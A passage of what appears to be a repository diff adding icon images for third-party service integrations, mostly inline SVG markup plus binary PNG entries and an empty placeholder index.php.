<path d="m 307.33986,45.879371 c 5.97,-0.4 12,-0.47 17.96,0.05 15.51,3.06 28.43,15.83 32.21,31.11 1.42,5.19 1.45,10.63 0.95,15.95 6.33,-0.78 12.92,0.37 18.25,3.99 7.46,4.829999 12.01,13.809999 11.3,22.699999 -0.17,12.85 -11.94,24.47 -24.88,23.95 -26.35,-0.02 -52.7,-0.01 -79.05,-0.01 -5.21,-0.01 -10.59,0.31 -15.56,-1.53 -9.71,-3.21 -17.78,-10.94 -21.45,-20.48 -2.57,-6.02 -2.06,-12.76 -1.66,-19.14 2.36,-14.749999 15.52,-26.489999 30.21,-28.239999 4.66,-14.1 17.04,-25.59 31.72,-28.35 m -22.06,28.84 c 9.63,1.68 17.83,7.36 26.49,11.53 -1.41,2.66 -2.82,5.32 -4.28,7.95 -4.89,-2.84 -10.07,-5.12 -15.06,-7.77 -5.81,-3.01 -12.65,-4.29 -19.05,-2.61 -11.82,2.75 -20.66,14.64 -19.69,26.769999 0.59,13.1 12.38,24.38 25.49,24.38 27.67,0.03 55.33,-0.01 82.99,0.02 6.82,0.18 13.35,-4.26 15.89,-10.55 2.57,-6.27 0.76,-13.96 -4.34,-18.41 -4.66,-4.52 -12.09,-5.41 -17.93,-2.88 -1.85,4.36 -4.2,8.53 -7.32,12.1 -2.23,-1.97 -4.49,-3.92 -6.76,-5.85 4.18,-5.01 7.05,-11.149999 7.86,-17.649999 2.18,-15.06 -7.3,-30.66 -21.61,-35.76 -16.15,-6.54 -36.81,2.2 -42.68,18.73 z" id="{d4}6" xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" inkscape:export-filename="C:\Users\Manohar\Desktop\New Agile Logo\cloud.png" inkscape:export-xdpi="35.244366" inkscape:export-ydpi="35.244366" inkscape:connector-curvature="0" style="fill:#409de4"><title>path1</title><desc></desc></path>
</g>
</svg>

After

Width:  |  Height:  |  Size: 2.7 KiB

15
images/breeze-icon.svg Normal file
View File

@@ -0,0 +1,15 @@
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN" "http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
<svg version="1.0" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
width="315px" height="315px" viewBox="0 0 315 315" enable-background="new 0 0 315 315" xml:space="preserve">
<g>
<path fill="#333333" d="M205.6,178.561C180.162,170.975,73.209,74.553,105.553,29.443c20.641-28.781,112.648-18.18,119.109,24.711
C231.146,97.045,180.654,128.951,205.6,178.561z"/>
<path fill="#333333" d="M200.076,192.412c-12.656,13.727-106.555,51.523-125.047,17.18c-11.797-21.914,23.281-76.758,52.359-67.602
C156.475,151.139,161.053,192.873,200.076,192.412z"/>
<path fill="#333333" d="M208.045,207.725c7.648,11.617,18.016,86.328-10.164,93.508c-17.961,4.578-51.273-30.688-39.414-50.047
C170.334,231.787,201.326,236.029,208.045,207.725z"/>
</g>
<rect id="_x3C_Slice_x3E_" fill="none" width="315" height="315"/>
</svg>

After

Width:  |  Height:  |  Size: 1.1 KiB

BIN
images/convertkit-icon.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.9 KiB

45
images/drip-icon.svg Normal file
View File

@@ -0,0 +1,45 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:cc="http://creativecommons.org/ns#"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:svg="http://www.w3.org/2000/svg"
xmlns="http://www.w3.org/2000/svg"
viewBox="0 0 1066.6667 1066.6667"
height="1066.6667"
width="1066.6667"
xml:space="preserve"
id="svg2"
version="1.1"><metadata
id="metadata8"><rdf:RDF><cc:Work
rdf:about=""><dc:format>image/svg+xml</dc:format><dc:type
rdf:resource="http://purl.org/dc/dcmitype/StillImage" /></cc:Work></rdf:RDF></metadata><defs
id="defs6"><clipPath
id="clipPath20"
clipPathUnits="userSpaceOnUse"><path
id="path18"
d="m 4002.99,690.41 c 1531.54,0 2561.76,557.17 2561.76,2116.62 0,581.52 -252.6,1329.74 -802.93,2097.96 -579.57,808.29 -949.38,939.13 -1758.83,2404.6 C 3193.54,5844.12 2823.74,5713.28 2244.19,4904.99 1693.52,4136.77 1440.92,3388.55 1440.92,2807.03 1440.92,1247.58 2471.47,690.41 4002.99,690.41 Z" /></clipPath><linearGradient
id="linearGradient26"
spreadMethod="pad"
gradientTransform="matrix(-2.893e-4,6619.17,6619.17,2.893e-4,4002.84,690.41)"
gradientUnits="userSpaceOnUse"
y2="0"
x2="1"
y1="0"
x1="0"><stop
id="stop22"
offset="0"
style="stop-opacity:1;stop-color:#4759b1" /><stop
id="stop24"
offset="1"
style="stop-opacity:1;stop-color:#78b1e4" /></linearGradient></defs><g
transform="matrix(1.3333333,0,0,-1.3333333,0,1066.6667)"
id="g10"><g
transform="scale(0.1)"
id="g12"><g
id="g14"><g
clip-path="url(#clipPath20)"
id="g16"><path
id="path28"
style="fill:url(#linearGradient26);fill-opacity:1;fill-rule:nonzero;stroke:none"
d="m 4002.99,690.41 c 1531.54,0 2561.76,557.17 2561.76,2116.62 0,581.52 -252.6,1329.74 -802.93,2097.96 -579.57,808.29 -949.38,939.13 -1758.83,2404.6 C 3193.54,5844.12 2823.74,5713.28 2244.19,4904.99 1693.52,4136.77 1440.92,3388.55 1440.92,2807.03 1440.92,1247.58 2471.47,690.41 4002.99,690.41" /></g></g></g></g></svg>

After

Width:  |  Height:  |  Size: 2.2 KiB

20
images/dropbox-icon.svg Normal file
View File

@@ -0,0 +1,20 @@
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.4, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="170px"
height="170px" viewBox="0 0 170 170" enable-background="new 0 0 170 170" xml:space="preserve">
<g id="BNackground" display="none">
</g>
<g id="Layer_1">
<g>
<polygon fill="#007EE5" points="63.524,36.479 32.833,56.518 54.054,73.512 85,54.403 "/>
<polygon fill="#007EE5" points="32.833,90.507 63.524,110.546 85,92.62 54.054,73.512 "/>
<polygon fill="#007EE5" points="85,92.62 106.476,110.546 137.167,90.507 115.946,73.512 "/>
<polygon fill="#007EE5" points="137.167,56.518 106.476,36.479 85,54.403 115.946,73.512 "/>
<polygon fill="#007EE5" points="85.063,96.477 63.524,114.35 54.307,108.332 54.307,115.078 85.063,133.521 115.819,115.078
115.819,108.332 106.602,114.35 "/>
</g>
</g>
<g id="Layer_2">
</g>
</svg>

After

Width:  |  Height:  |  Size: 1.1 KiB

BIN
images/esig-icon.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.3 KiB

View File

@@ -0,0 +1,3 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100%" height="100%" viewBox="0 0 434 224" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xml:space="preserve" xmlns:serif="http://www.serif.com/" style="fill-rule:evenodd;clip-rule:evenodd;stroke-linejoin:round;stroke-miterlimit:1.41421;"><path d="M139.151,106.071l139.751,81.135c24.624,12.628 47.46,15.469 73.662,5.157c31.256,-12.313 52.617,-37.779 55.144,-71.77c2.105,-27.044 -8.631,-54.825 -28.52,-73.348c-23.678,-22.203 -55.142,-27.254 -85.87,-19.257c-5.577,1.158 -15.152,5.157 -22.309,7.787c-3.052,1.053 -5.579,2 -7.156,2.211c-12.208,1.263 -18.837,-15.049 -7.892,-21.469c23.466,-13.786 55.352,-18.099 76.61,-15.994c25.677,2.841 49.88,13.994 68.4,32.2c21.994,21.784 33.361,51.04 32.519,81.977c-1.158,43.883 -25.888,81.451 -66.088,99.341c-24.625,10.839 -52.406,12.838 -77.978,5.157c-9.156,-2.738 -14.627,-5.998 -22.941,-10.63l-140.906,-79.03l-7.051,12.102l-16.837,-41.884l44.724,-6.101l-7.262,12.416Z" style="fill:#328dd0;"/><path d="M294.373,117.646l-139.645,-81.029c-24.73,-12.628 -47.566,-15.468 -73.768,-5.157c-31.15,12.313 -52.511,37.779 -55.144,71.77c-2.105,27.044 8.631,54.826 28.52,73.346c23.781,22.205 55.142,27.257 85.976,19.259c5.471,-1.158 15.152,-5.157 22.203,-7.787c3.052,-1.053 5.579,-2 7.262,-2.211c12.208,-1.263 18.836,15.049 7.787,21.467c-23.467,13.786 -55.353,18.101 -76.611,15.996c-25.677,-2.841 -49.88,-13.996 -68.297,-32.2c-22.097,-21.784 -33.358,-51.04 -32.622,-81.977c1.158,-43.883 25.888,-81.451 66.194,-99.341c24.519,-10.839 52.3,-12.838 77.872,-5.157c9.259,2.736 14.732,5.893 22.941,10.525l140.906,79.135l7.157,-12.207l16.837,41.989l-44.83,6.101l7.262,-12.522Z" style="fill:#328dd0;"/></svg>

After

Width:  |  Height:  |  Size: 1.8 KiB

View File

@@ -0,0 +1,48 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100%" height="100%" viewBox="0 0 853 108" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xml:space="preserve" xmlns:serif="http://www.serif.com/" style="fill-rule:evenodd;clip-rule:evenodd;stroke-linejoin:round;stroke-miterlimit:1.41421;">
<g transform="matrix(1,0,0,1,-186.354,-437.415)">
<g transform="matrix(1,0,0,1,239.321,483.401)">
<path d="M0,-5.007L53.194,25.876C62.566,30.683 71.259,31.764 81.232,27.838C93.129,23.152 101.26,13.459 102.221,0.521C103.022,-9.774 98.937,-20.348 91.366,-27.398C82.354,-35.849 70.377,-37.772 58.681,-34.728C56.558,-34.287 52.913,-32.765 50.189,-31.764C49.028,-31.363 48.066,-31.003 47.466,-30.923C42.819,-30.442 40.296,-36.651 44.461,-39.094C53.394,-44.341 65.531,-45.984 73.622,-45.182C83.396,-44.101 92.608,-39.855 99.658,-32.925C108.029,-24.634 112.355,-13.499 112.035,-1.722C111.594,14.981 102.181,29.281 86.88,36.09C77.507,40.215 66.933,40.977 57.199,38.053C53.714,37.011 51.631,35.77 48.467,34.007L-5.167,3.926L-7.851,8.532L-14.259,-7.41L2.764,-9.734L0,-5.007Z" style="fill:rgb(0,136,255);"/>
</g>
<g transform="matrix(1,0,0,1,298.402,477.874)">
<path d="M0,4.926L-53.153,-25.917C-62.566,-30.723 -71.258,-31.804 -81.232,-27.879C-93.088,-23.193 -101.22,-13.499 -102.221,-0.562C-103.022,9.733 -98.937,20.307 -91.366,27.357C-82.313,35.808 -70.377,37.731 -58.641,34.687C-56.558,34.247 -52.873,32.724 -50.189,31.723C-49.027,31.322 -48.066,30.962 -47.425,30.882C-42.779,30.401 -40.255,36.61 -44.461,39.053C-53.394,44.301 -65.53,45.943 -73.622,45.141C-83.395,44.06 -92.607,39.814 -99.617,32.884C-108.029,24.593 -112.315,13.458 -112.035,1.681C-111.594,-15.022 -102.181,-29.321 -86.84,-36.131C-77.507,-40.256 -66.932,-41.017 -57.199,-38.094C-53.674,-37.052 -51.591,-35.85 -48.467,-34.088L5.167,-3.966L7.891,-8.613L14.3,7.369L-2.764,9.693L0,4.926Z" style="fill:rgb(0,136,255);"/>
</g>
<g transform="matrix(1,0,0,1,463.434,441.245)">
<path d="M0,77.736C-7.122,80.289 -14.647,81.566 -22.508,81.566C-52.675,81.566 -67.726,66.986 -67.726,37.692C-67.726,10.011 -53.011,-3.83 -23.516,-3.83C-15.453,-3.83 -7.592,-2.62 0,-0.269L0,5.039C-7.592,2.62 -15.117,1.478 -22.374,1.478C-48.51,1.478 -61.544,13.572 -61.544,37.692C-61.544,63.425 -48.846,76.325 -23.516,76.325C-18.275,76.325 -12.497,75.452 -6.182,73.705L-6.182,42.731L0,42.731L0,77.736Z" style="fill:rgb(0,136,255);fill-rule:nonzero;"/>
</g>
<g transform="matrix(1,0,0,1,481.44,460.393)">
<path d="M0,61.88L0,0L4.434,0L5.173,10.28C11.354,3.427 18.275,0 25.934,0L25.934,4.972C18.543,4.972 11.959,8.533 6.181,15.722L6.181,61.88L0,61.88Z" style="fill:rgb(0,136,255);fill-rule:nonzero;"/>
</g>
<g transform="matrix(1,0,0,1,558.309,471.742)">
<path d="M0,39.175C-6.798,43.201 -13.988,45.222 -21.507,45.222C-31.719,45.222 -36.826,41.055 -36.826,32.863C-36.826,24.201 -30.717,19.893 -18.483,19.893C-12.704,19.893 -6.517,20.3 0,21.037L0,39.175ZM-17.873,-11.356C-24.592,-11.356 -31.312,-10.338 -37.969,-8.396L-37.969,-3.086C-31.312,-5.028 -24.592,-6.046 -17.873,-6.046C-5.921,-6.046 0,-1.331 0,8.13L0,15.727C-6.517,14.99 -12.704,14.583 -18.483,14.583C-34.805,14.583 -43.013,20.771 -43.013,32.988C-43.013,44.689 -35.823,50.531 -21.507,50.531C-14.254,50.531 -6.72,48.448 1.002,44.423L2.412,50.531L6.171,50.531L6.171,7.863C6.171,-4.965 -1.817,-11.356 -17.873,-11.356" style="fill:rgb(0,136,255);fill-rule:nonzero;"/>
</g>
<g transform="matrix(1,0,0,1,574.495,522.274)">
<path d="M0,-61.88L7.122,-61.88L29.697,-5.375L52.474,-61.88L59.528,-61.88L33.191,0L26.002,0L0,-61.88Z" style="fill:rgb(0,136,255);fill-rule:nonzero;"/>
</g>
<g transform="matrix(-1,-0,-0,1,1296.6,-116.905)">
<rect x="644.64" y="554.925" width="7.323" height="7.055" style="fill:rgb(0,136,255);"/>
</g>
<g transform="matrix(-1,-0,-0,1,1296.67,-17.334)">
<rect x="645.244" y="477.727" width="6.182" height="61.88" style="fill:rgb(0,136,255);"/>
</g>
<g transform="matrix(1,0,0,1,671.179,522.274)">
<path d="M0,-71.891L4.367,-71.891L5.509,-61.88L24.053,-61.88L24.053,-56.572L6.047,-56.572L6.047,-17.537C6.047,-9.407 9.003,-5.308 14.982,-5.308L24.053,-5.308L24.053,0L15.117,0C5.039,0 0,-5.577 0,-16.662L0,-71.891Z" style="fill:rgb(0,136,255);fill-rule:nonzero;"/>
</g>
<g transform="matrix(1,0,0,1,701.01,545.118)">
<path d="M0,-84.724L7.122,-84.724L30.101,-28.891L52.742,-84.724L59.596,-84.724L32.721,-21.03C28.151,-9.809 21.299,-2.754 12.229,0L10.347,-4.905C17.536,-7.525 22.979,-13.236 26.741,-21.904L0,-84.724Z" style="fill:rgb(0,136,255);fill-rule:nonzero;"/>
</g>
<g transform="matrix(1,0,0,1,846.522,522.273)">
<path d="M0,-84.253L0,-75.451L-44.143,-75.451L-44.143,-47.165L-2.016,-47.165L-2.016,-38.296L-44.143,-38.296L-44.143,0L-55.094,0L-55.094,-84.253L0,-84.253Z" style="fill:rgb(0,136,255);fill-rule:nonzero;"/>
</g>
<g transform="matrix(-1,-0,-0,1,1728.79,-39.707)">
<rect x="858.952" y="477.727" width="10.885" height="84.253" style="fill:rgb(0,136,255);"/>
</g>
<g transform="matrix(1,0,0,1,914.581,469.189)">
<path d="M0,44.219C-12.358,44.219 -18.546,36.763 -18.546,21.913C-18.546,7.33 -12.358,0.078 0,0.078C12.359,0.078 18.546,7.33 18.546,21.913C18.546,36.763 12.359,44.219 0,44.219M0,-8.803C-19.61,-8.803 -29.432,1.488 -29.432,22.117C-29.354,42.731 -19.548,53.022 0,53.022C19.627,53.022 29.495,42.731 29.495,22.117C29.495,1.488 19.627,-8.803 0,-8.803" style="fill:rgb(0,136,255);fill-rule:nonzero;"/>
</g>
<g transform="matrix(1,0,0,1,952.007,522.274)">
<path d="M0,-61.88L11.02,-61.88L21.971,-13.37L38.028,-61.88L47.905,-61.88L65.105,-13.37L74.982,-61.88L86.538,-61.88L70.413,0L60.402,0L42.731,-46.292L25.868,0L15.655,0L0,-61.88Z" style="fill:rgb(0,136,255);fill-rule:nonzero;"/>
</g>
</g>
</svg>

After

Width:  |  Height:  |  Size: 6.0 KiB

View File

@@ -0,0 +1,20 @@
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100%" height="100%" viewBox="0 0 80 41" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xml:space="preserve" style="fill-rule:evenodd;clip-rule:evenodd;stroke-linejoin:round;stroke-miterlimit:1.41421;">
<g transform="matrix(1,0,0,1,-0.329843,-1.95628)">
<g transform="matrix(4.16667,0,0,4.16667,-2043.33,-2060.83)">
<g transform="matrix(0.0709438,0,0,0.0709438,464.185,464.978)">
<path d="M528.968,434.372C522.193,438.341 526.304,448.432 533.815,447.695C534.836,447.497 536.423,446.958 538.266,446.278C542.687,444.662 548.64,442.167 552.07,441.487C571.119,436.555 590.537,439.674 605.22,453.364C617.522,464.874 624.183,482.023 622.88,498.803C621.292,519.809 608.054,535.569 588.75,543.194C572.537,549.544 558.42,547.815 543.141,539.963L456.713,489.818L461.191,482.08L433.497,485.878L443.929,511.815L448.294,504.303L535.487,553.229C540.59,556.092 543.991,558.077 549.717,559.777C565.535,564.511 582.684,563.292 597.907,556.546C622.795,545.547 638.102,522.275 638.81,495.09C639.292,475.985 632.319,457.872 618.684,444.407C607.261,433.154 592.294,426.237 576.364,424.48C574.277,424.268 572.023,424.158 569.65,424.158C557.097,424.158 541.198,427.221 528.968,434.372Z" style="fill:url(#_Linear1);fill-rule:nonzero;"/>
</g>
</g>
<g transform="matrix(4.16667,0,0,4.16667,-2043.33,-2060.83)">
<g transform="matrix(0.0709438,0,0,0.0709438,464.185,464.978)">
<path d="M411.556,430.233C386.669,441.26 371.362,464.533 370.653,491.689C370.171,510.823 377.144,528.908 390.779,542.372C402.203,553.654 417.17,560.543 433.1,562.3C446.224,563.632 465.953,560.911 480.496,552.407C487.27,548.439 483.16,538.376 475.648,539.113C474.628,539.283 473.04,539.821 471.198,540.501C466.776,542.146 460.823,544.612 457.393,545.32C438.344,550.253 418.927,547.107 404.244,533.415C391.941,521.934 385.28,504.757 386.583,488.004C388.171,466.971 401.409,451.211 420.713,443.614C436.927,437.235 451.043,438.993 466.322,446.817L552.75,496.99L548.272,504.7L575.967,500.901L565.535,474.964L561.17,482.505L473.976,433.55C468.874,430.687 465.472,428.703 459.746,427.002C453.371,425.106 446.783,424.172 440.189,424.172C430.421,424.173 420.644,426.223 411.556,430.233Z" style="fill:url(#_Linear2);fill-rule:nonzero;"/>
</g>
</g>
</g>
<defs>
<linearGradient id="_Linear1" x1="0" y1="0" x2="1" y2="0" gradientUnits="userSpaceOnUse" gradientTransform="matrix(205.337,0,0,205.337,433.497,493.393)"><stop offset="0%" style="stop-color:rgb(167,223,249);stop-opacity:1"/><stop offset="100%" style="stop-color:rgb(53,138,202);stop-opacity:1"/></linearGradient>
<linearGradient id="_Linear2" x1="0" y1="0" x2="1" y2="0" gradientUnits="userSpaceOnUse" gradientTransform="matrix(205.337,0,0,205.337,370.63,493.397)"><stop offset="0%" style="stop-color:rgb(167,223,249);stop-opacity:1"/><stop offset="100%" style="stop-color:rgb(53,138,202);stop-opacity:1"/></linearGradient>
</defs>
</svg>

After

Width:  |  Height:  |  Size: 3.1 KiB

View File

@@ -0,0 +1,12 @@
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100%" height="100%" viewBox="0 20 581 640" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xml:space="preserve" style="fill-rule:evenodd;clip-rule:evenodd;stroke-linejoin:round;stroke-miterlimit:1.41421;">
<g id="Layer 1" transform="matrix(1,0,0,1,-309.5,-180)">
<g transform="matrix(3.27114,0,0,3.27114,-738.318,-1054.55)">
<path d="M377.433,481.219L434.396,514.29C444.433,519.437 453.741,520.595 464.421,516.392C477.161,511.373 485.868,500.993 486.898,487.138C487.756,476.115 483.38,464.791 475.273,457.241C465.622,448.191 452.797,446.132 440.272,449.392C437.999,449.864 434.096,451.494 431.179,452.566C429.935,452.995 428.905,453.381 428.262,453.467C423.286,453.982 420.584,447.333 425.045,444.716C434.61,439.097 447.607,437.339 456.272,438.197C466.738,439.355 476.603,443.901 484.152,451.322C493.117,460.201 497.75,472.126 497.407,484.736C496.935,502.623 486.855,517.936 470.469,525.228C460.432,529.646 449.108,530.461 438.685,527.33C434.953,526.214 432.723,524.885 429.334,522.997L371.9,490.784L369.026,495.717L362.163,478.645L380.393,476.158L377.433,481.219Z" style="fill:rgb( 50,141, 208);"/>
</g>
<g transform="matrix(3.27114,0,0,3.27114,-738.318,-1054.55)">
<path d="M440.702,485.937L383.782,452.909C373.702,447.762 364.394,446.604 353.714,450.807C341.017,455.826 332.31,466.206 331.237,480.061C330.379,491.084 334.755,502.408 342.862,509.957C352.555,519.008 365.338,521.067 377.906,517.807C380.136,517.335 384.082,515.705 386.956,514.633C388.2,514.204 389.23,513.818 389.916,513.732C394.892,513.217 397.594,519.866 393.09,522.482C383.525,528.101 370.528,529.86 361.863,529.002C351.397,527.844 341.532,523.297 334.025,515.877C325.018,506.998 320.428,495.073 320.728,482.463C321.2,464.576 331.28,449.263 347.709,441.971C357.703,437.553 369.027,436.738 379.45,439.869C383.224,440.984 385.455,442.271 388.801,444.159L446.235,476.415L449.152,471.439L456.015,488.554L437.742,491.041L440.702,485.937Z" style="fill:rgb( 50,141, 208);"/>
</g>
</g>
</svg>

After

Width:  |  Height:  |  Size: 2.2 KiB

BIN
images/helpscout-icon.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

1
images/hipchat-icon.svg Normal file
View File

@@ -0,0 +1 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?><svg width="256px" height="239px" viewBox="0 0 256 239" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid"><g fill="#274970"><path d="M197.278255,134.702545 C197.275152,132.032388 195.109236,129.630642 192.197042,129.630642 C191.020994,129.630642 189.81857,130.030933 188.831806,130.916848 C175.977503,142.466327 154.102691,152.681503 127.646255,152.74977 L127.5392,152.74977 C101.127758,152.681503 79.8797576,142.058279 66.352097,130.919952 C65.4956606,130.215564 63.9100121,129.733042 62.8829091,129.733042 C59.7395394,129.733042 57.9118545,132.407855 57.9087515,135.349527 C57.9072,137.619394 59.497503,139.515345 60.8069818,141.481115 C68.3907879,152.866133 91.9148606,172.199564 127.315782,172.199564 L127.869673,172.199564 C163.269042,172.199564 186.793115,152.866133 194.378473,141.481115 C195.687952,139.515345 197.279806,136.972412 197.278255,134.702545"></path><path d="M198.32863,212.745309 C198.728921,213.277479 198.941479,213.730521 198.941479,214.222352 C198.941479,214.960873 198.240194,215.468218 197.358933,215.468218 C190.966691,215.468218 171.271758,204.855855 160.904533,196.109964 C159.484897,194.913745 157.498958,194.474667 154.679855,195.089067 C146.031709,196.971055 136.96,197.985745 127.596606,197.985745 C68.9431273,197.985745 21.3922909,158.729309 21.3922909,110.287903 C21.3922909,61.8713212 68.9431273,22.6195394 127.596606,22.6195394 C186.24543,22.6195394 233.793164,61.8713212 233.793164,110.287903 C233.793164,139.19263 216.859927,164.822109 190.743273,180.798061 C188.997818,181.865503 187.137552,183.873164 187.137552,186.385067 C187.137552,191.540752 191.982933,204.322133 198.32863,212.745309 L198.32863,212.745309 Z M232.475927,223.446109 C223.463176,218.312145 214.909673,209.631418 210.990545,197.7344 C210.222545,195.402473 210.905212,193.517382 212.703418,192.127224 C238.778182,171.968388 255.185455,142.700606 255.185455,110.106376 C255.185455,49.3149091 198.060218,0.0341333333 127.598158,0.0341333333 C57.1283394,0.0341333333 0,49.3149091 0,110.106376 C0,170.927321 57.1283394,220.217406 127.598158,220.217406 C136.804848,220.217406 145.781915,219.374933 154.436267,217.775321 C156.560291,217.382788 158.287127,217.880824 159.700558,218.749673 C177.162861,229.464436 203.166255,238.452364 225.970424,238.452364 C233.316848,238.452364 236.142158,233.793164 236.142158,229.54977 C236.142158,226.812897 234.658909,224.688873 232.475927,223.446109 L232.475927,223.446109 Z"></path></g></svg>

After

Width:  |  Height:  |  Size: 2.5 KiB

2
images/index.php Normal file
View File

@@ -0,0 +1,2 @@
<?php
//Nothing to see here

1
images/mailchimp.svg Normal file

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 46 KiB

BIN
images/sendinblue-icon.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.7 KiB

BIN
images/slack-icon.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.4 KiB

View File

@@ -0,0 +1,42 @@
<?xml version="1.0" encoding="iso-8859-1"?>
<!-- Generator: Adobe Illustrator 18.1.1, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
<svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
viewBox="0 0 46.628 46.628" style="enable-background:new 0 0 46.628 46.628;" xml:space="preserve">
<g>
<path style="fill:#2A3D50;" d="M19.477,0.048C8.417,1.939,0,11.572,0,23.17c0,12.956,10.503,23.458,23.458,23.458
c11.599,0,21.231-8.418,23.122-19.478c0.372-2.178-1.454-3.981-3.664-3.981H27.458c-2.209,0-4-1.791-4-4V3.712
C23.458,1.503,21.655-0.324,19.477,0.048z"/>
<path style="fill:#179EC8;" d="M27.291,6.317V16.66c0,1.478,1.198,2.676,2.676,2.676H40.31c1.478,0,2.7-1.207,2.451-2.664
c-1.117-6.534-6.273-11.691-12.807-12.808C28.498,3.617,27.291,4.839,27.291,6.317z"/>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
</svg>

After

Width:  |  Height:  |  Size: 1.0 KiB

BIN
images/sproutapps-icon.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.9 KiB

BIN
images/switch.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.0 KiB

27
images/trello-icon.svg Normal file
View File

@@ -0,0 +1,27 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="200px" height="200px" viewBox="0 0 200 200" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:sketch="http://www.bohemiancoding.com/sketch/ns">
<!-- Generator: Sketch 3.4.3 (16044) - http://www.bohemiancoding.com/sketch -->
<title>trello-mark-blue</title>
<desc>Created with Sketch.</desc>
<defs>
<linearGradient x1="50%" y1="0%" x2="50%" y2="100%" id="linearGradient-1">
<stop stop-color="#0091E6" offset="0%"></stop>
<stop stop-color="#0079BF" offset="100%"></stop>
</linearGradient>
</defs>
<g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd" sketch:type="MSPage">
<g id="Original-Assets" sketch:type="MSArtboardGroup" transform="translate(-1349.000000, -298.000000)">
<g id="Group" sketch:type="MSLayerGroup" transform="translate(229.000000, 198.000000)">
<g id="Trello-Logo" sketch:type="MSShapeGroup">
<g id="Trello-Mark---Blue" transform="translate(1020.000000, 0.000000)">
<g id="Mark" transform="translate(100.000000, 100.000000)">
<rect id="Board" fill="url(#linearGradient-1)" x="0" y="0" width="200" height="200" rx="25"></rect>
<rect id="Right-List" fill="#FFFFFF" x="113" y="26" width="61" height="87.5" rx="12"></rect>
<rect id="Left-List" fill="#FFFFFF" x="26" y="26" width="61" height="137.5" rx="12"></rect>
</g>
</g>
</g>
</g>
</g>
</g>
</svg>

After

Width:  |  Height:  |  Size: 1.7 KiB

View File

@@ -0,0 +1 @@
<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg width="100%" height="100%" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xml:space="preserve" style="fill-rule:evenodd;clip-rule:evenodd;stroke-linejoin:round;stroke-miterlimit:1.41421;"><path d="M12,20.837c-4.881,0 -8.837,-3.956 -8.837,-8.837c0,-4.881 3.956,-8.837 8.837,-8.837c4.881,0 8.837,3.956 8.837,8.837c0,4.881 -3.956,8.837 -8.837,8.837ZM12,0c-6.627,0 -12,5.373 -12,12c0,6.627 5.373,12 12,12c6.627,0 12,-5.373 12,-12c0,-6.627 -5.373,-12 -12,-12Z" style="fill:#e22329;fill-rule:nonzero;"/><path d="M12.493,9.012c0,-1.379 1.118,-2.496 2.495,-2.496c1.379,0 2.496,1.117 2.496,2.496c0,1.377 -1.117,2.495 -2.496,2.495c-1.377,0 -2.495,-1.118 -2.495,-2.495Z" style="fill:#e22329;fill-rule:nonzero;"/><path d="M12.493,14.988c0,-1.377 1.118,-2.495 